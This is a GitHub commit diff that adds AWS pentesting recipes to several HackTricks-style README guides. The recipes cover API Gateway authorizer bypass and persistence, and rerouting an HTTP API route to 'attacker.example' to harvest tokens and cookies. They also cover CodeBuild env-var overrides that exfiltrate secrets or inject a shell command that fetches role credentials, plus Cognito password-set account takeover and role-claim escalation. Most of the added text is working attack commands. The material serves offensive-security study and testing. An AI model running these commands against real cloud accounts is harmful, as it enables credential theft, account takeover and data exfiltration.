Skip to content

Commit 0c44512

Browse files
committed
f
1 parent 3724e27 commit 0c44512

6 files changed

Lines changed: 194 additions & 12 deletions

File tree

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

Lines changed: 27 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,33 @@ Modify the resource policy of the API gateway(s) to grant yourself access to the
1919
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
2020
Or just remove the use of the authorizer.
2121

22+
If you have control-plane permissions to **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) you can also **repoint the authorizer to a Lambda that always allows**.
23+
24+
REST APIs (changes typically require a deployment):
25+
26+
```bash
27+
REGION="us-east-1"
28+
REST_API_ID="<rest_api_id>"
29+
AUTHORIZER_ID="<authorizer_id>"
30+
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
31+
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
32+
33+
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
34+
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
35+
```
36+
37+
HTTP APIs / `apigatewayv2` (often takes effect immediately):
38+
39+
```bash
40+
REGION="us-east-1"
41+
API_ID="<http_api_id>"
42+
AUTHORIZER_ID="<authorizer_id>"
43+
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
44+
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
45+
46+
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
47+
```
48+
2249
### IAM Permissions
2350

2451
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
@@ -33,4 +60,3 @@ Or just remove the use of API keys.
3360

3461

3562

36-

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,31 @@ In the **Enumeration** section you can see how to **obtain the usage plan** of t
4242

4343
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
4444

45+
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
46+
47+
If you can update an **HTTP API integration**, you can **repoint** a sensitive route (e.g. `/login`, `/token`, `/submit`) to an attacker-controlled HTTP endpoint and silently **collect headers and bodies** (cookies, `Authorization` bearer tokens, session ids, API keys, secrets sent by internal jobs, etc.).
48+
49+
Example workflow:
50+
51+
```bash
52+
REGION="us-east-1"
53+
API_ID="<http_api_id>"
54+
55+
# Find routes and the integration attached to the interesting route
56+
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
57+
ROUTE_ID="<route_id>"
58+
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
59+
60+
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
61+
COLLECTOR_URL="https://attacker.example/collect"
62+
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
63+
```
64+
65+
Notes:
66+
67+
- For **HTTP APIs**, changes usually take effect immediately (unlike REST APIs where you typically need to create a deployment).
68+
- Whether you can point to an arbitrary URL depends on the integration type/config; in some cases you may also be able to change the integration type when patching it.
69+
4570
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
4671

4772
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
@@ -147,4 +172,3 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K
147172

148173

149174

150-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -71,7 +71,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
7171
> [!NOTE]
7272
> Need testing
7373
74-
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made.
74+
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks (e.g. repoint it to a Lambda that always returns "allow") or to execute arbitrary code when API requests are made.
7575

7676
```bash
7777
API_ID="your-api-id"
@@ -87,6 +87,20 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
8787

8888
**Potential Impact**: Bypassing security checks, unauthorized access to API resources.
8989

90+
#### HTTP APIs / `apigatewayv2` variant
91+
92+
For HTTP APIs (API Gateway v2), the equivalent operation is updating the authorizer via `apigatewayv2`:
93+
94+
```bash
95+
REGION="us-east-1"
96+
API_ID="<http_api_id>"
97+
AUTHORIZER_ID="<authorizer_id>"
98+
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
99+
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
100+
101+
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
102+
```
103+
90104
### `apigateway:UpdateVpcLink`
91105

92106
> [!NOTE]
@@ -108,4 +122,3 @@ aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=
108122

109123

110124

111-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md

Lines changed: 67 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,73 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
6969

7070
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
7171

72+
#### StartBuild Env Var Override
73+
74+
Even if you **can't modify the project** (`UpdateProject`) and you **can't override the buildspec**, `codebuild:StartBuild` still allows overriding env vars at build time via:
75+
76+
- CLI: `--environment-variables-override`
77+
- API: `environmentVariablesOverride`
78+
79+
If the build uses environment variables to control behavior (destination buckets, feature flags, proxy settings, logging, etc.), this can be enough to **exfiltrate secrets** the build role can access or to get **code execution** inside the build.
80+
81+
##### Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
82+
83+
If the build publishes an artifact to a bucket/path controlled by an env var (for example `UPLOAD_BUCKET`), override it to an attacker-controlled bucket:
84+
85+
```bash
86+
export PROJECT="<project-name>"
87+
export EXFIL_BUCKET="<attacker-controlled-bucket>"
88+
89+
export BUILD_ID=$(aws codebuild start-build \
90+
--project-name "$PROJECT" \
91+
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
92+
--query build.id --output text)
93+
94+
# Wait for completion
95+
while true; do
96+
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
97+
[ "$STATUS" = "SUCCEEDED" ] && break
98+
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
99+
sleep 5
100+
done
101+
102+
# Example expected location (depends on the buildspec/project logic):
103+
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
104+
```
105+
106+
##### Example 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
107+
108+
If the build runs `python3` (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
109+
110+
- `PYTHONWARNINGS`: Python resolves the *category* field and will import dotted paths. Setting it to `...:antigravity.x:...` forces importing the stdlib module `antigravity`.
111+
- `antigravity`: calls `webbrowser.open(...)`.
112+
- `BROWSER`: controls what `webbrowser` executes. On Linux it is `:`-separated. Using `#%s` makes the URL argument a shell comment.
113+
114+
This can be used to print the CodeBuild role credentials (from `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) into CloudWatch logs, then recover them if you have log read permissions.
115+
116+
<details>
117+
<summary>Expandable: StartBuild JSON request for the <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
118+
119+
```json
120+
{
121+
"projectName": "codebuild_lab_7_project",
122+
"environmentVariablesOverride": [
123+
{
124+
"name": "PYTHONWARNINGS",
125+
"value": "all:0:antigravity.x:0:0",
126+
"type": "PLAINTEXT"
127+
},
128+
{
129+
"name": "BROWSER",
130+
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
131+
"type": "PLAINTEXT"
132+
}
133+
]
134+
}
135+
```
136+
137+
</details>
138+
72139
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
73140

74141
An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
@@ -385,4 +452,3 @@ More details could be found [here](https://www.shielder.com/blog/2023/07/aws-cod
385452
{{#include ../../../../banners/hacktricks-training.md}}
386453

387454

388-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md

Lines changed: 57 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -145,7 +145,7 @@ This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](.
145145

146146
### `cognito-idp:AdminSetUserPassword`
147147

148-
This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled).
148+
This permission would allow an attacker to **set a known password for any user**, usually resulting in a **direct account takeover** (especially if the victim doesn't have MFA enabled, or MFA is not enforced for the relevant auth flow/client).
149149

150150
```bash
151151
aws cognito-idp admin-set-user-password \
@@ -155,7 +155,34 @@ aws cognito-idp admin-set-user-password \
155155
--permanent
156156
```
157157

158-
**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role.
158+
Common workflow:
159+
160+
```bash
161+
REGION="us-east-1"
162+
USER_POOL_ID="<user_pool_id>"
163+
VICTIM_USERNAME="<victim_username_or_email>"
164+
NEW_PASS='P@ssw0rd-ChangeMe-123!'
165+
166+
# 1) Set a permanent password for the victim (takeover primitive)
167+
aws cognito-idp admin-set-user-password \
168+
--region "$REGION" \
169+
--user-pool-id "$USER_POOL_ID" \
170+
--username "$VICTIM_USERNAME" \
171+
--password "$NEW_PASS" \
172+
--permanent
173+
174+
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
175+
CLIENT_ID="<user_pool_app_client_id>"
176+
aws cognito-idp initiate-auth \
177+
--no-sign-request --region "$REGION" \
178+
--client-id "$CLIENT_ID" \
179+
--auth-flow USER_PASSWORD_AUTH \
180+
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
181+
```
182+
183+
Related permission: `cognito-idp:AdminResetUserPassword` can be used to force a reset flow for a victim (impact depends on how password recovery is implemented and what the attacker can intercept or control).
184+
185+
**Potential Impact:** Account takeover of arbitrary users; access to app-layer privileges (groups/roles/claims) and anything downstream trusting Cognito tokens; potential access to Identity Pool authenticated IAM roles.
159186

160187
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
161188

@@ -194,8 +221,9 @@ aws cognito-idp set-user-pool-mfa-config \
194221

195222
### `cognito-idp:AdminUpdateUserAttributes`
196223

197-
An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\
198-
This allows to change an email or phone number and set it as verified.
224+
An attacker with this permission can change **any mutable attribute** of a User Pool user (including `custom:*` attributes) to try to gain privileges in an underlying application.
225+
226+
A common high-impact pattern is **claim-based RBAC** implemented using **custom attributes** (for example `custom:role=admin`). If the application trusts that claim, updating it and then re-authenticating can bypass authorization without touching the app.
199227

200228
```bash
201229
aws cognito-idp admin-update-user-attributes \
@@ -204,7 +232,31 @@ aws cognito-idp admin-update-user-attributes \
204232
--user-attributes <value>
205233
```
206234

207-
**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes.
235+
Example: upgrade your own role and refresh tokens:
236+
237+
```bash
238+
REGION="us-east-1"
239+
USER_POOL_ID="<user_pool_id>"
240+
USERNAME="<your_username>"
241+
242+
# 1) Change the RBAC attribute (example)
243+
aws cognito-idp admin-update-user-attributes \
244+
--region "$REGION" \
245+
--user-pool-id "$USER_POOL_ID" \
246+
--username "$USERNAME" \
247+
--user-attributes Name="custom:role",Value="admin"
248+
249+
# 2) Re-authenticate to obtain a token with updated claims
250+
CLIENT_ID="<user_pool_app_client_id>"
251+
PASSWORD="<your_password>"
252+
aws cognito-idp initiate-auth \
253+
--no-sign-request --region "$REGION" \
254+
--client-id "$CLIENT_ID" \
255+
--auth-flow USER_PASSWORD_AUTH \
256+
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
257+
```
258+
259+
**Potential Impact:** Indirect privesc in applications trusting Cognito attributes/claims for authorization; ability to modify other security-relevant attributes (for example setting `email_verified` or `phone_number_verified` to `true` can matter in some apps).
208260

209261
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
210262

@@ -314,4 +366,3 @@ For more information check [https://github.com/padok-team/cognito-scanner](https
314366
{{#include ../../../../banners/hacktricks-training.md}}
315367

316368

317-

src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,6 +49,9 @@ aws codebuild list-reports
4949
aws codebuild describe-test-cases --report-arn <ARN>
5050
```
5151

52+
> [!TIP]
53+
> If you have `codebuild:StartBuild`, remember you can often override env vars at build time (`--environment-variables-override`). This is enough for some attacks even without `UpdateProject` or `buildspec` overrides (for example: redirecting artifact/upload buckets to exfiltrate secrets, or abusing language/runtime env vars to execute commands).
54+
5255
### Privesc
5356

5457
In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
@@ -77,4 +80,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc
7780

7881

7982

80-

0 commit comments

Comments
 (0)